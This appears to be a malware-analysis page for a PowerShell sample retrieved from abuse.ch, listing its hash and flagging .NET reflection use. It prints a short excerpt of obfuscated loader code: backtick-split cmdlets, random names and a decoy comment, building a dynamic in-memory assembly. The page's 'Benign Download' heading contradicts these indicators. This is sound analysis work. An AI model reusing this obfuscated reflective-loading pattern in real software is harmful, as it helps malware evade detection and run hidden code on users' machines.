Benign Download

99a5df049e5d8368a67ecbaf54ec4001dca48fd4e4ce2bcb37a10cd698f5a03d.bin

PowerShell accesses AppDomain CurrentDomain.NET reflection marker in opaque content
SHA-25699a5df049e5d8368a67ecbaf54ec4001dca48fd4e4ce2bcb37a10cd698f5a03d
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeH(Po)Md

Evidence

.NET reflection marker in opaque content lines 388–392
388:65… ZpKFHM) -join ''
389 if ($true) { $lXYPSstctdzSds = Ne`w`-`Ob`je`ct System.Reflection.AssemblyName("RkYrpcZLcBW") }
390 # Processing user requests.
391 $XjAJBbjeLFrohqQfF = [System.AppDomain]::CurrentDomain.DefineDynamicAssembly($lXYPSstctdzSds, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
392 $afZdsxXPXwMhrgvHH = $XjAJBb …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.